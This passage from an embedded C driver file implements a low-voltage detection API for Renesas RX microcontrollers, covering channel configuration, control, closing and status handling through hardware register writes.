Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_lvd_rx.c\n* Description : This module implements the LVD API that can be used to configure the LVD module.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 18.07.2013 1.00 First Release\n* : 14.02.2014 1.10 Added support for RX110, RX113, RX210, RX63N\n* : 22.12.2014 1.30 Added support for RX113.\n* : 18.03.2015 1.40 Added support for RX64M, 71M.\n* : 09.07.2015 1.50 Added support for RX231.\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* include definition for NULL*/\n#include <stddef.h>\n/* Defines machine level functions used in this file */\n#include <machine.h>\n/* Includes board and MCU related header files. */\n#include \"platform.h\"\n/* Private header file for this package. */\n#include \"r_lvd_rx.h\"\n/* Public interface header file for this package. */\n#include \"r_lvd_rx_if.h\"\n/* Configuration for this package. */\n#include \"r_lvd_rx_config.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n \n/***********************************************************************************************************************\nPrivate global variables and functions\n***********************************************************************************************************************/\nstatic lvd_err_t lvd_level_set(lvd_channel_t e_channel, lvd_voltage_level_t e_voltage_level);\nstatic lvd_err_t lvd_status_get(lvd_channel_t e_channel);\nstatic lvd_err_t lvd_status_clear(lvd_channel_t e_channel);\nstatic void lvd_delay(uint32_t time_us);\n\nvoid (*lvd1_isr_handler)(void *) = NULL; // Function pointer for LVD Channel 1 ISR\nvoid (*lvd2_isr_handler)(void *) = NULL; // Function pointer for LVD Channel 2 ISR\nstatic bool g_lvd_ch1_open = false; // Flag to maintain Initialization status of LVD Channel 1\nstatic bool g_lvd_ch2_open = false; // Flag to maintain Initialization status of LVD Channel 2\nlvd_int_cb_args_t g_lvd_ch1_cb_args; // Callback argument structure for CH 1\nlvd_int_cb_args_t g_lvd_ch2_cb_args; // Callback argument structure for CH 2\n\n/***********************************************************************************************************************\n* Function Name: R_LVD_Open\n* Description : This function configures the LVD channel including voltage level, trigger type and sets the callback\n* function. This function can only be called once for each channel after which R_LVD_Close has to be\n* called before attempting to reconfigure the LVD channel.\n* Arguments : lvd_channel_t e_channel\n* -Specify the channel\n* lvd_voltage_level_t e_voltage_level\n* -Specify the LVD voltage level\n* lvd_event_action_t e_event\n* -Specify the LVD event that should occur when the trigger specified in e-trigger is met.\n* lvd_trigger_t e_trigger\n* -Specify the LVD voltage level triggering type. It can be configured for when the voltage\n* level rises above the triggering level, or when it falls below or both conditions.\n* void (*pcallback)(void)\n* -callback function pointer. This can be a null if e_event is LVD_EVENT_RESET or LVD_EVENT_POLL\n* Return Value :LVD_SUCCESS\n* LVD_ERR_ILL_PARAM\n* LVD_ERR_ILL_REINITIALIZATION\n* LVD_ERR_VDET\n*\n***********************************************************************************************************************/\nlvd_err_t R_LVD_Open(lvd_channel_t e_channel, lvd_config_t *p_cfg, void (*pcallback)(void *))\n{\n#if (LVD_CFG_PARAM_CHECKING_ENABLE == 1)\n if (e_channel >= LVD_CHANNEL_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n\n if (LVD_CHANNEL_2 == e_channel)\n {\n if ((p_cfg->e_voltage_level < LVD_VOLTAGE_CH2_MIN) || (p_cfg->e_voltage_level > LVD_VOLTAGE_CH2_MAX))\n {\n return LVD_ERR_VDET;\n }\n }\n else if (LVD_CHANNEL_1 == e_channel)\n {\n if ((p_cfg->e_voltage_level < LVD_VOLTAGE_CH1_MIN) || (p_cfg->e_voltage_level > LVD_VOLTAGE_CH1_MAX))\n {\n return LVD_ERR_VDET;\n }\n }\n\n if (p_cfg->e_action >= LVD_ACTION_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n\n if(p_cfg->e_trigger >= LVD_TRIGGER_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n\n if (((pcallback == FIT_NO_FUNC) || (pcallback == NULL)) &&\n ((LVD_ACTION_RESET != p_cfg->e_action) && (LVD_ACTION_POLL != p_cfg->e_action)))\n {\n return LVD_ERR_ILL_PARAM;\n }\n\n#endif\n\n if (LVD_CHANNEL_1 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_1_USED == 1)\n if (g_lvd_ch1_open == true)\n {\n return LVD_ERR_ILL_REINITIALIZATION;\n }\n\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n SYSTEM.LVDLVLR.BIT.LVD1LVL = p_cfg->e_voltage_level; //set voltage level\n#if (BSP_MCU_RX210 == 1)\n SYSTEM.LVCMPCR.BIT.EXVREFINP1 = 0; // Select internal reference voltage\n SYSTEM.LVCMPCR.BIT.EXVCCINP1 = 0; // Select Vcc to compare\n SYSTEM.LVD1CR0.BIT.LVD1DFDIS = 1; // Disable digital filter\n#endif\n if (LVD_ACTION_RESET == p_cfg->e_action)\n {\n /*Disable Interrupt/RESET. Enable RESET on Vcc falling to or below Vdet1, Set Reset Negation Stabilization*/\n SYSTEM.LVD1CR0.BYTE = (uint8_t)( 0x40 | (LVD_CFG_STABILIZATION_CHANNEL_1 << 7));\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD1CR0.BIT.LVD1RIE == 0)\n {\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // 2 PCLKB delay\n }\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 1; // Enable LVD1 Interrupt/RESET\n SYSTEM.LVCMPCR.BIT.LVD1E = 1; // Enable the LVD1 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD1CR0.BIT.LVD1CMPE = 1; // Enable comparison output\n }\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n else if(LVD_ACTION_IRQ == p_cfg->e_action)\n {\n lvd1_isr_handler = pcallback; // assign interrupt callback\n g_lvd_ch1_cb_args.vector = BSP_INT_SRC_LVD1; // Set vector source for ISR callback argument\n\n /*Disable Interrupt/RESET. Enable Interrupt on Vcc crossing Vdet1, Set Reset Negation Stabilization*/\n SYSTEM.LVD1CR0.BYTE = (uint8_t)( 0x80 & (LVD_CFG_STABILIZATION_CHANNEL_1 << 7));\n SYSTEM.LVD1CR1.BYTE = (uint8_t)(p_cfg->e_trigger | (0x04)); // Set detection type and IRQ interrupt\n SYSTEM.LVCMPCR.BIT.LVD1E = 1; // Enable the LVD1 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD1CR0.BIT.LVD1CMPE = 1; // Enable comparison output\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 0; // Disable LVD1 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD1CR0.BIT.LVD1RIE == 0)\n {\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // 2 PCLKB delay\n }\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 1; // Enable LVD1 Interrupt/RESET\n IPR(LVD,LVD1) = LVD_CFG_INTERRUPT_PRIORITY_CHANNEL_1;\n IEN(LVD,LVD1) = 1;\n }\n#endif\n else if(LVD_ACTION_NMI == p_cfg->e_action)\n {\n R_BSP_InterruptWrite(BSP_INT_SRC_LVD1, (bsp_int_cb_t)pcallback); // assign interrupt callback\n\n /*Disable Interrupt/RESET. Enable Interrupt on Vcc crossing Vdet1, Set Reset Negation Stabilization*/\n SYSTEM.LVD1CR0.BYTE = (uint8_t)( 0x80 & (LVD_CFG_STABILIZATION_CHANNEL_1 << 7));\n SYSTEM.LVD1CR1.BYTE = (uint8_t)(p_cfg->e_trigger & (0x07)); // Set detection type and NMI interrupt\n SYSTEM.LVCMPCR.BIT.LVD1E = 1; // Enable the LVD1 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD1CR0.BIT.LVD1CMPE = 1; // Enable comparison output\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 0; // Disable LVD1 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD1CR0.BIT.LVD1RIE == 0)\n {\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // 2 PCLKB delay\n }\n#if ((BSP_MCU_RX63N == 1) || (BSP_MCU_RX64M == 1) || (BSP_MCU_RX71M == 1))\n if (SYSTEM.LOCOCR.BIT.LCSTP == 1)\n {\n SYSTEM.LVD1CR0.BIT.LVD1DFDIS = 1; // Disable digital filter if LOCO turned off. Otherwise LVD will not monitor.\n }\n#endif\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 1; // Enable LVD1 Interrupt/RESET\n ICU.NMIER.BIT.LVD1EN = 1; // Enable the LVD NMI interrupt\n }\n else if(LVD_ACTION_POLL == p_cfg->e_action)\n {\n /*Disable Interrupt/RESET. Set Reset Negation Stabilization*/\n SYSTEM.LVD1CR0.BYTE = (uint8_t)( 0x80 & (LVD_CFG_STABILIZATION_CHANNEL_1 << 7));\n SYSTEM.LVCMPCR.BIT.LVD1E = 1; // Enable the LVD1 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD1CR0.BIT.LVD1CMPE = 1; // Enable comparison output\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 0; // Disable LVD1 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n }\n else\n {\n //nothing here\n }\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n g_lvd_ch1_open = true; // set static flag to prevent improper reintialization\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else if (LVD_CHANNEL_2 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_2_USED == 1)\n if (g_lvd_ch2_open == true) // check for improper reinitialization\n {\n return LVD_ERR_ILL_REINITIALIZATION;\n }\n\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n SYSTEM.LVDLVLR.BIT.LVD2LVL = p_cfg->e_voltage_level; //set voltage level\n#if (BSP_MCU_RX210 == 1)\n SYSTEM.LVCMPCR.BIT.EXVREFINP2 = 0; // Select internal reference voltage\n SYSTEM.LVD1CR0.BIT.LVD1DFDIS = 1; // Disable digital filter\n#endif\n#if ((BSP_MCU_RX63N == 1) || (BSP_MCU_RX64M == 1) || (BSP_MCU_RX71M == 1))\n //Only Vcc can be monitored.\n#else\n SYSTEM.LVCMPCR.BIT.EXVCCINP2 = LVD_CFG_VDET2_VCC_CMPA2; // Select Vcc or CMPA2 to compare\n#endif\n\n if (LVD_ACTION_RESET == p_cfg->e_action)\n {\n /*Disable Interrupt/RESET. Enable RESET on Vcc falling to or below Vdet2, Set Reset Negation Stabilization*/\n SYSTEM.LVD2CR0.BYTE = (uint8_t)( 0x40 | (LVD_CFG_STABILIZATION_CHANNEL_2 << 7));\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD2CR0.BIT.LVD2RIE == 0)\n {\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // 2 PCLKB delay\n }\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 1; // Enable LVD2 Interrupt/RESET\n SYSTEM.LVCMPCR.BIT.LVD2E = 1; // Enable the LVD2 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD2CR0.BIT.LVD2CMPE = 1; // Enable comparison output\n }\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n\t (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n else if(LVD_ACTION_IRQ == p_cfg->e_action)\n {\n lvd2_isr_handler = pcallback; // assign interrupt callback\n g_lvd_ch2_cb_args.vector = BSP_INT_SRC_LVD2; // Set vector source for ISR callback argument\n\n /*Disable Interrupt/RESET. Enable Interrupt on Vcc crossing Vdet1, Set Reset Negation Stabilization*/\n SYSTEM.LVD2CR0.BYTE = (uint8_t)( 0x80 & (LVD_CFG_STABILIZATION_CHANNEL_2 << 7));\n SYSTEM.LVD2CR1.BYTE = (uint8_t)(p_cfg->e_trigger | (0x04)); // Set detection type and IRQ interrupt\n SYSTEM.LVCMPCR.BIT.LVD2E = 1; // Enable the LVD2 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD2CR0.BIT.LVD2CMPE = 1; // Enable comparison output\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 0; // Disable LVD2 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD2CR0.BIT.LVD2RIE == 0)\n {\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // 2 PCLKB delay\n }\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 1; // Enable LVD2 Interrupt/RESET\n IPR(LVD,LVD2) = LVD_CFG_INTERRUPT_PRIORITY_CHANNEL_2;\n IEN(LVD,LVD2) = 1;\n }\n#endif\n else if(LVD_ACTION_NMI == p_cfg->e_action)\n {\n R_BSP_InterruptWrite(BSP_INT_SRC_LVD2, (bsp_int_cb_t)pcallback); // assign interrupt callback\n\n /*Disable Interrupt/RESET. Enable Interrupt on Vcc crossing Vdet1, Set Reset Negation Stabilization*/\n SYSTEM.LVD2CR0.BYTE = (uint8_t)( 0x80 & (LVD_CFG_STABILIZATION_CHANNEL_2 << 7));\n SYSTEM.LVD2CR1.BYTE = (uint8_t)(p_cfg->e_trigger & (0x07)); // Set detection type and NMI interrupt\n SYSTEM.LVCMPCR.BIT.LVD2E = 1; // Enable the LVD2 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD2CR0.BIT.LVD2CMPE = 1; // Enable comparison output\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 0; // Disable LVD2 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD2CR0.BIT.LVD2RIE == 0)\n {\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // 2 PCLKB delay\n }\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 1; // Enable LVD2 Interrupt/RESET\n#if ((BSP_MCU_RX63N == 1) || (BSP_MCU_RX64M == 1) || (BSP_MCU_RX71M == 1))\n if (SYSTEM.LOCOCR.BIT.LCSTP == 1)\n {\n SYSTEM.LVD2CR0.BIT.LVD2DFDIS = 1; // Disable digital filter if LOCO turned off. Otherwise LVD will not monitor.\n }\n#endif\n ICU.NMIER.BIT.LVD2EN = 1; // Enable the LVD NMI interrupt\n }\n else if(LVD_ACTION_POLL == p_cfg->e_action)\n {\n /*Disable Interrupt/RESET. Set Reset Negation Stabilization*/\n SYSTEM.LVD2CR0.BYTE = (uint8_t)( 0x80 & (LVD_CFG_STABILIZATION_CHANNEL_2 << 7));\n SYSTEM.LVCMPCR.BIT.LVD2E = 1; // Enable the LVD2 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD2CR0.BIT.LVD2CMPE = 1; // Enable comparison output\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 0; // Disable LVD2 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // Clear the passage detection status bit\n }\n else\n {\n //nothing here\n }\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n g_lvd_ch2_open = true; // set static flag to prevent reintialization before closing channel\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else\n {\n //nothing\n }\n\n return LVD_SUCCESS;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_LVD_Control\n* Description : This function is used as a routing function to implement a control and execute method for\n* available LVD features including\n* 1. Changing detection voltage level\n* 2. Reading status of the LVD Channel\n* 3. Clearing the status of an LVD Channel\n* Arguments : lvd_cmd_t const e_cmd\n* -Specify the command\n* void *param\n* -Pointer to any arguments that may be required to execute the command.\n* Return Value : LVD_SUCCESS\n* LVD_ERR_ILL_PARAM\n* LVD_ERR_NOT_INITIALIZED\n* LVD_ERR_VDET\n* LVD_ERR_DISABLED\n* LVD_ERR_VDET_BELOW_AND_NOT_CROSSED\n* LVD_ERR_VDET_BELOW_AND_CROSSED\n* LVD_ERR_VDET_ABOVE_AND_NOT_CROSSED\n* LVD_ERR_VDET_ABOVE_AND_CROSSED\n***********************************************************************************************************************/\nlvd_err_t R_LVD_Control(lvd_cmd_t const e_cmd, void *param)\n{\n lvd_err_t err;\n\n#if (LVD_CFG_PARAM_CHECKING_ENABLE == 1)\n if (e_cmd >= LVD_CMD_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n if ((param == NULL) || (param == FIT_NO_PTR))\n {\n return LVD_ERR_ILL_PARAM;\n }\n\n#endif\n switch (e_cmd)\n {\n case LVD_CMD_LEVEL_SET:\n err = lvd_level_set(((lvd_lvl_cfg_t *)param)->e_channel, ((lvd_lvl_cfg_t *)param)->e_voltage_lvl);\n break;\n\n case LVD_CMD_STATUS_GET:\n err = lvd_status_get(((lvd_status_t *)param)->e_channel);\n break;\n\n case LVD_CMD_STATUS_CLEAR:\n err = lvd_status_clear(((lvd_status_t *)param)->e_channel);\n break;\n default:\n err = LVD_ERR_ILL_PARAM;\n }\n\n return err;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_LVD_Close\n* Description : This function closes the specified LVD channel.\n* Arguments : lvd_channel_t e_channel\n* -Specify the channel\n* Return Value : LVD_SUCCESS\n* LVD_ERR_ILL_PARAM\n***********************************************************************************************************************/\nlvd_err_t R_LVD_Close(lvd_channel_t e_channel)\n{\n#if (LVD_CFG_PARAM_CHECKING_ENABLE == 1)\n if (e_channel >= LVD_CHANNEL_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n#endif\n if (LVD_CHANNEL_1 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_1_USED ==1)\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n SYSTEM.LVD1CR0.BYTE = 0x00; // Disable LVD Monitoring and comparison output\n SYSTEM.LVCMPCR.BIT.LVD1E = 0; // Disable Voltage Detection circuit\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n IEN(LVD,LVD1) = 0; // Disable interrupt\n#endif\n g_lvd_ch1_open = false; // Set static status flag\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else if (LVD_CHANNEL_2 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_2_USED ==1)\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n SYSTEM.LVD2CR0.BYTE = 0x00; // Disable LVD Monitoring and comparison output\n SYSTEM.LVCMPCR.BIT.LVD2E = 0; // Disable Voltage Detection circuit\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n IEN(LVD,LVD2) = 0; // Disable interrupt\n#endif\n g_lvd_ch2_open = false; // Set static status flag\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else\n {\n //nothing\n }\n\n lvd_status_clear(e_channel); // Clear Status registers\n return LVD_SUCCESS;\n}\n\n/***********************************************************************************************************************\n* Function Name: lvd_level_set\n* Description : This function can be used to change the voltage detection levels.\n* Note that this function WILL clear the detection status bit.\n* Arguments : lvd_channel_t e_channel\n* -Specify the channel\n* lvd_voltage_level_t e_voltage_level\n* -Set the new voltage detection level\n* Return Value : LVD_SUCCESS\n* LVD_ERR_ILL_PARAM\n* LVD_ERR_NOT_INITIALIZED\n* LVD_ERR_VDET\n***********************************************************************************************************************/\nstatic lvd_err_t lvd_level_set(lvd_channel_t e_channel, lvd_voltage_level_t e_voltage_level)\n{\n uint8_t temp_status_reg;\n\n#if (LVD_CFG_PARAM_CHECKING_ENABLE == 1)\n if (e_channel >= LVD_CHANNEL_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n\n if (LVD_CHANNEL_2 == e_channel)\n {\n if ((e_voltage_level < LVD_VOLTAGE_CH2_MIN) || (e_voltage_level > LVD_VOLTAGE_CH2_MAX))\n {\n return LVD_ERR_VDET;\n }\n }\n else if (LVD_CHANNEL_1 == e_channel)\n {\n if ((e_voltage_level < LVD_VOLTAGE_CH1_MIN) || (e_voltage_level > LVD_VOLTAGE_CH1_MAX))\n {\n return LVD_ERR_VDET;\n }\n }\n#endif\n\n if (LVD_CHANNEL_1 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_1_USED ==1)\n if (g_lvd_ch1_open == false) // check for initialization\n {\n return LVD_ERR_NOT_INITIALIZED;\n }\n\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n\n SYSTEM.LVCMPCR.BIT.LVD1E = 0; //Disable the LVD1 circuit\n SYSTEM.LVD1CR0.BIT.LVD1CMPE = 0; //Disable LVD comparison output\n SYSTEM.LVDLVLR.BIT.LVD1LVL = e_voltage_level; //set voltage level\n SYSTEM.LVCMPCR.BIT.LVD1E = 1; // Enable the LVD1 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD1CR0.BIT.LVD1CMPE = 1; // Enable LVD comparison output\n temp_status_reg = SYSTEM.LVD1CR0.BIT.LVD1RIE; // save interrupt/reset setting\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 0; // Disable LVD2 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD1CR0.BIT.LVD1RIE == 0)\n {\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // 2 PCLKB delay\n }\n if (temp_status_reg)\n {\n SYSTEM.LVD1CR0.BIT.LVD1RIE = 1; // Enable LVD1 Interrupt/RESET\n }\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else if (LVD_CHANNEL_2 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_2_USED ==1)\n if (g_lvd_ch2_open == false) // check for initialization\n {\n return LVD_ERR_NOT_INITIALIZED;\n }\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n\n SYSTEM.LVCMPCR.BIT.LVD2E = 0; //Disable the LVD2 circuit\n SYSTEM.LVD2CR0.BIT.LVD2CMPE = 0; //Disable LVD comparison output\n SYSTEM.LVDLVLR.BIT.LVD2LVL = e_voltage_level; //set voltage level\n SYSTEM.LVCMPCR.BIT.LVD2E = 1; // Enable the LVD2 circuit\n lvd_delay(300); // Implement 300usec wait\n SYSTEM.LVD2CR0.BIT.LVD2CMPE = 1; // Enable LVD comparison output\n temp_status_reg = SYSTEM.LVD2CR0.BIT.LVD2RIE; // save interrupt/reset setting\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 0; // Disable LVD2 Interrupt/RESET. Set to 0 before clearing LVDnDET next\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // Clear the passage detection status bit\n // At least 2 PCLKB cycles req'd before LVDnRIE can be set after clearing. This is just an easy way to do it\\\n The SFR registers are read over the peripheral bus and thus clocked by PCLKB\n if (SYSTEM.LVD2CR0.BIT.LVD2RIE == 0)\n {\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // 2 PCLKB delay\n }\n if (temp_status_reg)\n {\n SYSTEM.LVD2CR0.BIT.LVD2RIE = 1; // Enable LVD2 Interrupt/RESET\n }\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n\n return LVD_SUCCESS;\n}\n\n/***********************************************************************************************************************\n* Function Name: lvd_status_get\n* Description : This function returns the status of the LVD circuit for the specified channel.\n* Arguments : lvd_channel_t e_channel\n* -Specify the channel\n* Return Value : LVD_ERR_ILL_PARAM\n* LVD_ERR_DISABLED\n* LVD_ERR_VDET_BELOW_AND_NOT_CROSSED\n* LVD_ERR_VDET_BELOW_AND_CROSSED\n* LVD_ERR_VDET_ABOVE_AND_NOT_CROSSED\n* LVD_ERR_VDET_ABOVE_AND_CROSSED\n***********************************************************************************************************************/\nstatic lvd_err_t lvd_status_get(lvd_channel_t e_channel)\n{\n uint8_t temp_status_reg;\n\n#if (LVD_CFG_PARAM_CHECKING_ENABLE == 1)\n if (e_channel >= LVD_CHANNEL_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n#endif\n if (LVD_CHANNEL_1 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_1_USED ==1)\n if ((0 == SYSTEM.LVCMPCR.BIT.LVD1E) || (0 == SYSTEM.LVD1CR0.BIT.LVD1CMPE))\n {\n return LVD_ERR_DISABLED;\n }\n else\n {\n temp_status_reg = (uint8_t)(SYSTEM.LVD1SR.BYTE & 0x03); // zero out the unused higher 6 bits\n return (lvd_err_t)(temp_status_reg | 0x10); // setting the msb to 1 for unique return error code\n }\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else if (LVD_CHANNEL_2 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_2_USED ==1)\n if ((0 == SYSTEM.LVCMPCR.BIT.LVD2E) ||(0 == SYSTEM.LVD2CR0.BIT.LVD2CMPE))\n {\n return LVD_ERR_DISABLED;\n }\n else\n {\n temp_status_reg = (uint8_t)(SYSTEM.LVD2SR.BYTE & 0x03); // zero out the unused higher 6 bits;\n return (lvd_err_t)(temp_status_reg | 0x10); // setting the msb to 1 for unique return error code\n }\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else\n {\n return LVD_ERR_ILL_PARAM;\n }\n}\n\n/***********************************************************************************************************************\n* Function Name: lvd_status_clear\n* Description : Clear the LVD passage detection status bit. This function clears the passage detection bit that is\n* set when Vcc or voltage on the CMPA2 pin crosses the Level set by the configured LVD channel. This bit\n* has to be cleared once it is set to allow for detection of future events on the same channel.\n* Arguments : lvd_channel_t e_channel\n* -Specify the channel\n* Return Value : LVD_SUCCESS\n* LVD_ERR_ILL_PARAM\n* LVD_ERR_NOT_INITIALIZED\n***********************************************************************************************************************/\nstatic lvd_err_t lvd_status_clear(lvd_channel_t e_channel)\n{\n#if (LVD_CFG_PARAM_CHECKING_ENABLE == 1)\n if (e_channel >= LVD_CHANNEL_INVALID)\n {\n return LVD_ERR_ILL_PARAM;\n }\n#endif\n if (LVD_CHANNEL_1 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_1_USED ==1)\n if (g_lvd_ch1_open == false) // check for initialization\n {\n return LVD_ERR_NOT_INITIALIZED;\n }\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n SYSTEM.LVD1SR.BIT.LVD1DET = 0; // Clear the passage detection status bit\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else if (LVD_CHANNEL_2 == e_channel)\n {\n#if (LVD_CFG_CHANNEL_2_USED ==1)\n if (g_lvd_ch2_open == false) // check for initialization\n {\n return LVD_ERR_NOT_INITIALIZED;\n }\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LVD); // unlock LVD control registers\n SYSTEM.LVD2SR.BIT.LVD2DET = 0; // Clear the passage detection status bit\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LVD); // lock LVD control registers\n#else\n return LVD_ERR_ILL_PARAM; // Code not enabled for this channel\n#endif\n }\n else\n {\n //nothing\n }\n\n nop(); // it takes two system clock cycles for the bit to the cleared.\n nop();\n\n return LVD_SUCCESS;\n}\n\n/***********************************************************************************************************************\n* Function Name: 